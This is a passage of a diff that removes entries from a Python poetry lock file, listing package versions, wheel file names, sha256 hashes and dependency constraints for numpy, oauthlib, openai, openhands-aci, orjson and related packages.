"numpy-2.3.2-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5ad4ebcb683a1f99f4f392cc522ee20a18b2bb12a2c1c42c3d48d5a1adc9d3d2"}, - {file = "numpy-2.3.2-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:938065908d1d869c7d75d8ec45f735a034771c6ea07088867f713d1cd3bbbe4f"}, - {file = "numpy-2.3.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:66459dccc65d8ec98cc7df61307b64bf9e08101f9598755d42d8ae65d9a7a6ee"}, - {file = "numpy-2.3.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a7af9ed2aa9ec5950daf05bb11abc4076a108bd3c7db9aa7251d5f107079b6a6"}, - {file = "numpy-2.3.2-cp313-cp313-win32.whl", hash = "sha256:906a30249315f9c8e17b085cc5f87d3f369b35fedd0051d4a84686967bdbbd0b"}, - {file = "numpy-2.3.2-cp313-cp313-win_amd64.whl", hash = "sha256:c63d95dc9d67b676e9108fe0d2182987ccb0f11933c1e8959f42fa0da8d4fa56"}, - {file = "numpy-2.3.2-cp313-cp313-win_arm64.whl", hash = "sha256:b05a89f2fb84d21235f93de47129dd4f11c16f64c87c33f5e284e6a3a54e43f2"}, - {file = "numpy-2.3.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:4e6ecfeddfa83b02318f4d84acf15fbdbf9ded18e46989a15a8b6995dfbf85ab"}, - {file = "numpy-2.3.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:508b0eada3eded10a3b55725b40806a4b855961040180028f52580c4729916a2"}, - {file = "numpy-2.3.2-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:754d6755d9a7588bdc6ac47dc4ee97867271b17cee39cb87aef079574366db0a"}, - {file = "numpy-2.3.2-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:a9f66e7d2b2d7712410d3bc5684149040ef5f19856f20277cd17ea83e5006286"}, - {file = "numpy-2.3.2-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:de6ea4e5a65d5a90c7d286ddff2b87f3f4ad61faa3db8dabe936b34c2275b6f8"}, - {file = "numpy-2.3.2-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a3ef07ec8cbc8fc9e369c8dcd52019510c12da4de81367d8b20bc692aa07573a"}, - {file = "numpy-2.3.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:27c9f90e7481275c7800dc9c24b7cc40ace3fdb970ae4d21eaff983a32f70c91"}, - {file = "numpy-2.3.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:07b62978075b67eee4065b166d000d457c82a1efe726cce608b9db9dd66a73a5"}, - {file = "numpy-2.3.2-cp313-cp313t-win32.whl", hash = "sha256:c771cfac34a4f2c0de8e8c97312d07d64fd8f8ed45bc9f5726a7e947270152b5"}, - {file = "numpy-2.3.2-cp313-cp313t-win_amd64.whl", hash = "sha256:72dbebb2dcc8305c431b2836bcc66af967df91be793d63a24e3d9b741374c450"}, - {file = "numpy-2.3.2-cp313-cp313t-win_arm64.whl", hash = "sha256:72c6df2267e926a6d5286b0a6d556ebe49eae261062059317837fda12ddf0c1a"}, - {file = "numpy-2.3.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:448a66d052d0cf14ce9865d159bfc403282c9bc7bb2a31b03cc18b651eca8b1a"}, - {file = "numpy-2.3.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:546aaf78e81b4081b2eba1d105c3b34064783027a06b3ab20b6eba21fb64132b"}, - {file = "numpy-2.3.2-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:87c930d52f45df092f7578889711a0768094debf73cfcde105e2d66954358125"}, - {file = "numpy-2.3.2-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:8dc082ea901a62edb8f59713c6a7e28a85daddcb67454c839de57656478f5b19"}, - {file = "numpy-2.3.2-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:af58de8745f7fa9ca1c0c7c943616c6fe28e75d0c81f5c295810e3c83b5be92f"}, - {file = "numpy-2.3.2-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed5527c4cf10f16c6d0b6bee1f89958bccb0ad2522c8cadc2efd318bcd545f5"}, - {file = "numpy-2.3.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:095737ed986e00393ec18ec0b21b47c22889ae4b0cd2d5e88342e08b01141f58"}, - {file = "numpy-2.3.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b5e40e80299607f597e1a8a247ff8d71d79c5b52baa11cc1cce30aa92d2da6e0"}, - {file = "numpy-2.3.2-cp314-cp314-win32.whl", hash = "sha256:7d6e390423cc1f76e1b8108c9b6889d20a7a1f59d9a60cac4a050fa734d6c1e2"}, - {file = "numpy-2.3.2-cp314-cp314-win_amd64.whl", hash = "sha256:b9d0878b21e3918d76d2209c924ebb272340da1fb51abc00f986c258cd5e957b"}, - {file = "numpy-2.3.2-cp314-cp314-win_arm64.whl", hash = "sha256:2738534837c6a1d0c39340a190177d7d66fdf432894f469728da901f8f6dc910"}, - {file = "numpy-2.3.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:4d002ecf7c9b53240be3bb69d80f86ddbd34078bae04d87be81c1f58466f264e"}, - {file = "numpy-2.3.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:293b2192c6bcce487dbc6326de5853787f870aeb6c43f8f9c6496db5b1781e45"}, - {file = "numpy-2.3.2-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:0a4f2021a6da53a0d580d6ef5db29947025ae8b35b3250141805ea9a32bbe86b"}, - {file = "numpy-2.3.2-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:9c144440db4bf3bb6372d2c3e49834cc0ff7bb4c24975ab33e01199e645416f2"}, - {file = "numpy-2.3.2-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f92d6c2a8535dc4fe4419562294ff957f83a16ebdec66df0805e473ffaad8bd0"}, - {file = "numpy-2.3.2-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cefc2219baa48e468e3db7e706305fcd0c095534a192a08f31e98d83a7d45fb0"}, - {file = "numpy-2.3.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:76c3e9501ceb50b2ff3824c3589d5d1ab4ac857b0ee3f8f49629d0de55ecf7c2"}, - {file = "numpy-2.3.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:122bf5ed9a0221b3419672493878ba4967121514b1d7d4656a7580cd11dddcbf"}, - {file = "numpy-2.3.2-cp314-cp314t-win32.whl", hash = "sha256:6f1ae3dcb840edccc45af496f312528c15b1f79ac318169d094e85e4bb35fdf1"}, - {file = "numpy-2.3.2-cp314-cp314t-win_amd64.whl", hash = "sha256:087ffc25890d89a43536f75c5fe8770922008758e8eeeef61733957041ed2f9b"}, - {file = "numpy-2.3.2-cp314-cp314t-win_arm64.whl", hash = "sha256:092aeb3449833ea9c0bf0089d70c29ae480685dd2377ec9cdbbb620257f84631"}, - {file = "numpy-2.3.2-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:14a91ebac98813a49bc6aa1a0dfc09513dcec1d97eaf31ca21a87221a1cdcb15"}, - {file = "numpy-2.3.2-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:71669b5daae692189540cffc4c439468d35a3f84f0c88b078ecd94337f6cb0ec"}, - {file = "numpy-2.3.2-pp311-pypy311_pp73-macosx_14_0_arm64.whl", hash = "sha256:69779198d9caee6e547adb933941ed7520f896fd9656834c300bdf4dd8642712"}, - {file = "numpy-2.3.2-pp311-pypy311_pp73-macosx_14_0_x86_64.whl", hash = "sha256:2c3271cc4097beb5a60f010bcc1cc204b300bb3eafb4399376418a83a1c6373c"}, - {file = "numpy-2.3.2-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8446acd11fe3dc1830568c941d44449fd5cb83068e5c70bd5a470d323d448296"}, - {file = "numpy-2.3.2-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa098a5ab53fa407fded5870865c6275a5cd4101cfdef8d6fafc48286a96e981"}, - {file = "numpy-2.3.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:6936aff90dda378c09bea075af0d9c675fe3a977a9d2402f95a87f440f59f619"}, - {file = "numpy-2.3.2.tar.gz", hash = "sha256:e0486a11ec30cdecb53f184d496d1c6a20786c81e55e41640270130056f8ee48"}, -] - -[[package]] -name = "numpydoc" -version = "1.9.0" -description = "Sphinx extension to support docstrings in Numpy format" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "numpydoc-1.9.0-py3-none-any.whl", hash = "sha256:8a2983b2d62bfd0a8c470c7caa25e7e0c3d163875cdec12a8a1034020a9d1135"}, - {file = "numpydoc-1.9.0.tar.gz", hash = "sha256:5fec64908fe041acc4b3afc2a32c49aab1540cf581876f5563d68bb129e27c5b"}, -] - -[package.dependencies] -sphinx = ">=6" - -[[package]] -name = "oauthlib" -version = "3.3.1" -description = "A generic, spec-compliant, thorough implementation of the OAuth request-signing logic" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "oauthlib-3.3.1-py3-none-any.whl", hash = "sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1"}, - {file = "oauthlib-3.3.1.tar.gz", hash = "sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9"}, -] - -[package.extras] -rsa = ["cryptography (>=3.0.0)"] -signals = ["blinker (>=1.4.0)"] -signedtoken = ["cryptography (>=3.0.0)", "pyjwt (>=2.0.0,<3)"] - -[[package]] -name = "openai" -version = "1.99.8" -description = "The official Python library for the openai API" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "openai-1.99.8-py3-none-any.whl", hash = "sha256:426b981079cffde6dd54868b9b84761ffa291cde77010f051b96433e1835b47d"}, - {file = "openai-1.99.8.tar.gz", hash = "sha256:4b49845983eb4d5ffae9bae5d98bd5c0bd3a709a30f8b994fc8f316961b6d566"}, -] - -[package.dependencies] -anyio = ">=3.5.0,<5" -distro = ">=1.7.0,<2" -httpx = ">=0.23.0,<1" -jiter = ">=0.4.0,<1" -pydantic = ">=1.9.0,<3" -sniffio = "*" -tqdm = ">4" -typing-extensions = ">=4.11,<5" - -[package.extras] -aiohttp = ["aiohttp", "httpx-aiohttp (>=0.1.8)"] -datalib = ["numpy (>=1)", "pandas (>=1.2.3)", "pandas-stubs (>=1.1.0.11)"] -realtime = ["websockets (>=13,<16)"] -voice-helpers = ["numpy (>=2.0.2)", "sounddevice (>=0.5.1)"] - -[[package]] -name = "openhands-aci" -version = "0.3.1" -description = "An Agent-Computer Interface (ACI) designed for software development agents OpenHands." -optional = false -python-versions = "<4.0,>=3.12" -groups = ["main"] -files = [ - {file = "openhands_aci-0.3.1-py3-none-any.whl", hash = "sha256:d1d9d5379388bc0119c6722b8dacf63f7c747788ac5b6c26263601b2001d11c3"}, - {file = "openhands_aci-0.3.1.tar.gz", hash = "sha256:125c4773b3fd2729ec0c74d005095dad21aa0f7a1e8733e5f33f3f71466f6df9"}, -] - -[package.dependencies] -beautifulsoup4 = ">=4.12.3" -binaryornot = ">=0.4.4,<0.5.0" -cachetools = ">=5.5.2,<6.0.0" -charset-normalizer = ">=3.4.1,<4.0.0" -flake8 = "*" -gitpython = "*" -grep-ast = ">=0.9.0,<0.10.0" -libcst = "1.5.0" -mammoth = ">=1.8.0" -markdownify = ">=0.13.1" -matplotlib = ">=3.10.3,<4.0.0" -networkx = ">=3.4.2,<4.0.0" -openpyxl = ">=3.1.5,<4.0.0" -pandas = "*" -pdfminer-six = ">=20240706" -puremagic = ">=1.28" -pydantic = ">=2.11.3,<3.0.0" -pydub = ">=0.25.1,<0.26.0" -pypdf = ">=5.1.0" -pypdf2 = ">=3.0.1,<4.0.0" -python-pptx = ">=1.0.2,<2.0.0" -rapidfuzz = ">=3.13.0,<4.0.0" -requests = ">=2.32.3" -speechrecognition = ">=3.14.1,<4.0.0" -tree-sitter = ">=0.24.0,<0.25.0" -tree-sitter-language-pack = "0.7.3" -whatthepatch = ">=1.0.6,<2.0.0" -xlrd = ">=2.0.1,<3.0.0" -youtube-transcript-api = ">=0.6.2" - -[package.extras] -llama = ["llama-index (>=0.12.29,<0.13.0)", "llama-index-core (>=0.12.29,<0.13.0)", "llama-index-retrievers-bm25 (>=0.5.2,<0.6.0)"] - -[[package]] -name = "openpyxl" -version = "3.1.5" -description = "A Python library to read/write Excel 2010 xlsx/xlsm files" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "openpyxl-3.1.5-py2.py3-none-any.whl", hash = "sha256:5282c12b107bffeef825f4617dc029afaf41d0ea60823bbb665ef3079dc79de2"}, - {file = "openpyxl-3.1.5.tar.gz", hash = "sha256:cf0e3cf56142039133628b5acffe8ef0c12bc902d2aadd3e0fe5878dc08d1050"}, -] - -[package.dependencies] -et-xmlfile = "*" - -[[package]] -name = "orjson" -version = "3.11.1" -description = "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "orjson-3.11.1-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:92d771c492b64119456afb50f2dff3e03a2db8b5af0eba32c5932d306f970532"}, - {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0085ef83a4141c2ed23bfec5fecbfdb1e95dd42fc8e8c76057bdeeec1608ea65"}, - {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5caf7f13f2e1b4e137060aed892d4541d07dabc3f29e6d891e2383c7ed483440"}, - {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f716bcc166524eddfcf9f13f8209ac19a7f27b05cf591e883419079d98c8c99d"}, - {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:507d6012fab05465d8bf21f5d7f4635ba4b6d60132874e349beff12fb51af7fe"}, - {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b1545083b0931f754c80fd2422a73d83bea7a6d1b6de104a5f2c8dd3d64c291e"}, - {file = "orjson-3.11.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e217ce3bad76351e1eb29ebe5ca630326f45cd2141f62620107a229909501a3"}, - {file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:06ef26e009304bda4df42e4afe518994cde6f89b4b04c0ff24021064f83f4fbb"}, - {file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:ba49683b87bea3ae1489a88e766e767d4f423a669a61270b6d6a7ead1c33bd65"}, - {file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:5072488fcc5cbcda2ece966d248e43ea1d222e19dd4c56d3f82747777f24d864"}, - {file = "orjson-3.11.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f58ae2bcd119226fe4aa934b5880fe57b8e97b69e51d5d91c88a89477a307016"}, - {file = "orjson-3.11.1-cp310-cp310-win32.whl", hash = "sha256:6723be919c07906781b9c63cc52dc7d2fb101336c99dd7e85d3531d73fb493f7"}, - {file = "orjson-3.11.1-cp310-cp310-win_amd64.whl", hash = "sha256:5fd44d69ddfdfb4e8d0d83f09d27a4db34930fba153fbf79f8d4ae8b47914e04"}, - {file = "orjson-3.11.1-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:15e2a57ce3b57c1a36acffcc02e823afefceee0a532180c2568c62213c98e3ef"}, - {file = "orjson-3.11.1-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:17040a83ecaa130474af05bbb59a13cfeb2157d76385556041f945da936b1afd"}, - {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a68f23f09e5626cc0867a96cf618f68b91acb4753d33a80bf16111fd7f9928c"}, - {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:47e07528bb6ccbd6e32a55e330979048b59bfc5518b47c89bc7ab9e3de15174a"}, - {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3807cce72bf40a9d251d689cbec28d2efd27e0f6673709f948f971afd52cb09"}, - {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b2dc7e88da4ca201c940f5e6127998d9e89aa64264292334dad62854bc7fc27"}, - {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3091dad33ac9e67c0a550cfff8ad5be156e2614d6f5d2a9247df0627751a1495"}, - {file = "orjson-3.11.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ed0fce2307843b79a0c83de49f65b86197f1e2310de07af9db2a1a77a61ce4c"}, - {file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5a31e84782a18c30abd56774c0cfa7b9884589f4d37d9acabfa0504dad59bb9d"}, - {file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:26b6c821abf1ae515fbb8e140a2406c9f9004f3e52acb780b3dee9bfffddbd84"}, - {file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f857b3d134b36a8436f1e24dcb525b6b945108b30746c1b0b556200b5cb76d39"}, - {file = "orjson-3.11.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:df146f2a14116ce80f7da669785fcb411406d8e80136558b0ecda4c924b9ac55"}, - {file = "orjson-3.11.1-cp311-cp311-win32.whl", hash = "sha256:d777c57c1f86855fe5492b973f1012be776e0398571f7cc3970e9a58ecf4dc17"}, - {file = "orjson-3.11.1-cp311-cp311-win_amd64.whl", hash = "sha256:e9a5fd589951f02ec2fcb8d69339258bbf74b41b104c556e6d4420ea5e059313"}, - {file = "orjson-3.11.1-cp311-cp311-win_arm64.whl", hash = "sha256:4cddbe41ee04fddad35d75b9cf3e3736ad0b80588280766156b94783167777af"}, - {file = "orjson-3.11.1-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:2b7c8be96db3a977367250c6367793a3c5851a6ca4263f92f0b48d00702f9910"}, - {file = "orjson-3.11.1-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:72e18088f567bd4a45db5e3196677d9ed1605e356e500c8e32dd6e303167a13d"}, - {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d346e2ae1ce17888f7040b65a5a4a0c9734cb20ffbd228728661e020b4c8b3a5"}, - {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4bda5426ebb02ceb806a7d7ec9ba9ee5e0c93fca62375151a7b1c00bc634d06b"}, - {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10506cebe908542c4f024861102673db534fd2e03eb9b95b30d94438fa220abf"}, - {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:45202ee3f5494644e064c41abd1320497fb92fd31fc73af708708af664ac3b56"}, - {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e5adaf01b92e0402a9ac5c3ebe04effe2bbb115f0914a0a53d34ea239a746289"}, - {file = "orjson-3.11.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6162a1a757a1f1f4a94bc6ffac834a3602e04ad5db022dd8395a54ed9dd51c81"}, - {file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:78404206977c9f946613d3f916727c189d43193e708d760ea5d4b2087d6b0968"}, - {file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:db48f8e81072e26df6cdb0e9fff808c28597c6ac20a13d595756cf9ba1fed48a"}, - {file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0c1e394e67ced6bb16fea7054d99fbdd99a539cf4d446d40378d4c06e0a8548d"}, - {file = "orjson-3.11.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e7a840752c93d4eecd1378e9bb465c3703e127b58f675cd5c620f361b6cf57a4"}, - {file = "orjson-3.11.1-cp312-cp312-win32.whl", hash = "sha256:4537b0e09f45d2b74cb69c7f39ca1e62c24c0488d6bf01cd24673c74cd9596bf"}, - {file = "orjson-3.11.1-cp312-cp312-win_amd64.whl", hash = "sha256:dbee6b050062540ae404530cacec1bf25e56e8d87d8d9b610b935afeb6725cae"}, - {file = "orjson-3.11.1-cp312-cp312-win_arm64.whl", hash = "sha256:f55e557d4248322d87c4673e085c7634039ff04b47bfc823b87149ae12bef60d"}, - {file = "orjson-3.11.1-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:53cfefe4af059e65aabe9683f76b9c88bf34b4341a77d329227c2424e0e59b0e"}, - {file = "orjson-3.11.1-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:93d5abed5a6f9e1b6f9b5bf6ed4423c11932b5447c2f7281d3b64e0f26c6d064"}, - {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5dbf06642f3db2966df504944cdd0eb68ca2717f0353bb20b20acd78109374a6"}, - {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:dddf4e78747fa7f2188273f84562017a3c4f0824485b78372513c1681ea7a894"}, - {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fa3fe8653c9f57f0e16f008e43626485b6723b84b2f741f54d1258095b655912"}, - {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6334d2382aff975a61f6f4d1c3daf39368b887c7de08f7c16c58f485dcf7adb2"}, - {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a3d0855b643f259ee0cb76fe3df4c04483354409a520a902b067c674842eb6b8"}, - {file = "orjson-3.11.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0eacdfeefd0a79987926476eb16e0245546bedeb8febbbbcf4b653e79257a8e4"}, - {file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0ed07faf9e4873518c60480325dcbc16d17c59a165532cccfb409b4cdbaeff24"}, - {file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d6d308dd578ae3658f62bb9eba54801533225823cd3248c902be1ebc79b5e014"}, - {file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:c4aa13ca959ba6b15c0a98d3d204b850f9dc36c08c9ce422ffb024eb30d6e058"}, - {file = "orjson-3.11.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:be3d0653322abc9b68e5bcdaee6cfd58fcbe9973740ab222b87f4d687232ab1f"}, - {file = "orjson-3.11.1-cp313-cp313-win32.whl", hash = "sha256:4dd34e7e2518de8d7834268846f8cab7204364f427c56fb2251e098da86f5092"}, - {file = "orjson-3.11.1-cp313-cp313-win_amd64.whl", hash = "sha256:d6895d32032b6362540e6d0694b19130bb4f2ad04694002dce7d8af588ca5f77"}, - {file = "orjson-3.11.1-cp313-cp313-win_arm64.whl", hash = "sha256:bb7c36d5d3570fcbb01d24fa447a21a7fe5a41141fd88e78f7994053cc4e28f4"}, - {file = "orjson-3.11.1-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:7b71ef394327b3d0b39f6ea7ade2ecda2731a56c6a7cbf0d6a7301203b92a89b"}, - {file = "orjson-3.11.1-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:77c0fe28ed659b62273995244ae2aa430e432c71f86e4573ab16caa2f2e3ca5e"}, - {file = "orjson-3.11.1-cp314-cp314-manylinux_2_34_aarch64.whl", hash = "sha256:1495692f1f1ba2467df429343388a0ed259382835922e124c0cfdd56b3d1f727"}, - {file = "orjson-3.11.1-cp314-cp314-manylinux_2_34_x86_64.whl", hash = "sha256:08c6a762fca63ca4dc04f66c48ea5d2428db55839fec996890e1bfaf057b658c"}, - {file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9e26794fe3976810b2c01fda29bd9ac7c91a3c1284b29cc9a383989f7b614037"}, - {file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:4b4b4f8f0b1d3ef8dc73e55363a0ffe012a42f4e2f1a140bf559698dca39b3fa"}, - {file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:848be553ea35aa89bfefbed2e27c8a41244c862956ab8ba00dc0b27e84fd58de"}, - {file = "orjson-3.11.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c964c29711a4b1df52f8d9966f015402a6cf87753a406c1c4405c407dd66fd45"}, - {file = "orjson-3.11.1-cp314-cp314-win32.whl", hash = "sha256:33aada2e6b6bc9c540d396528b91e666cedb383740fee6e6a917f561b390ecb1"}, - {file = "orjson-3.11.1-cp314-cp314-win_amd64.whl", hash = "sha256:68e10fd804e44e36188b9952543e3fa22f5aa8394da1b5283ca2b423735c06e8"}, - {file = "orjson-3.11.1-cp314-cp314-win_arm64.whl", hash = "sha256:f3cf6c07f8b32127d836be8e1c55d4f34843f7df346536da768e9f73f22078a1"}, - {file = "orjson-3.11.1-cp39-cp39-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:3d593a9e0bccf2c7401ae53625b519a7ad7aa555b1c82c0042b322762dc8af4e"}, - {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0baad413c498fc1eef568504f11ea46bc71f94b845c075e437da1e2b85b4fb86"}, - {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:22cf17ae1dae3f9b5f37bfcdba002ed22c98bbdb70306e42dc18d8cc9b50399a"}, - {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e855c1e97208133ce88b3ef6663c9a82ddf1d09390cd0856a1638deee0390c3c"}, - {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b5861c5f7acff10599132854c70ab10abf72aebf7c627ae13575e5f20b1ab8fe"}, - {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b1e6415c5b5ff3a616a6dafad7b6ec303a9fc625e9313c8e1268fb1370a63dcb"}, - {file = "orjson-3.11.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:912579642f5d7a4a84d93c5eed8daf0aa34e1f2d3f4dc6571a8e418703f5701e"}, - {file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2092e1d3b33f64e129ff8271642afddc43763c81f2c30823b4a4a4a5f2ea5b55"}, - {file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:b8ac64caba1add2c04e9cd4782d4d0c4d6c554b7a3369bdec1eed7854c98db7b"}, - {file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:23196b826ebc85c43f8e27bee0ab33c5fb13a29ea47fb4fcd6ebb1e660eb0252"}, - {file = "orjson-3.11.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f2d3364cfad43003f1e3d564a069c8866237cca30f9c914b26ed2740b596ed00"}, - {file = "orjson-3.11.1-cp39-cp39-win32.whl", hash = "sha256:20b0dca94ea4ebe4628330de50975b35817a3f52954c1efb6d5d0498a3bbe581"}, - {file = "orjson-3.11.1-cp39-cp39-win_amd64.whl", hash = "sha256:200c3ad7ed8b5d31d49143265dfebd33420c4b61934ead16833b5cd2c3d241be"}, - {file = "orjson-3.11.1.tar.gz", hash = "sha256:48d82770a5fd88778063604c566f9c7c71820270c9cc9338d25147cbf34afd96"}, -] - -[[package]] -name = "packaging" -version = "25.0" -description = "Core utilities for Python packages" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = 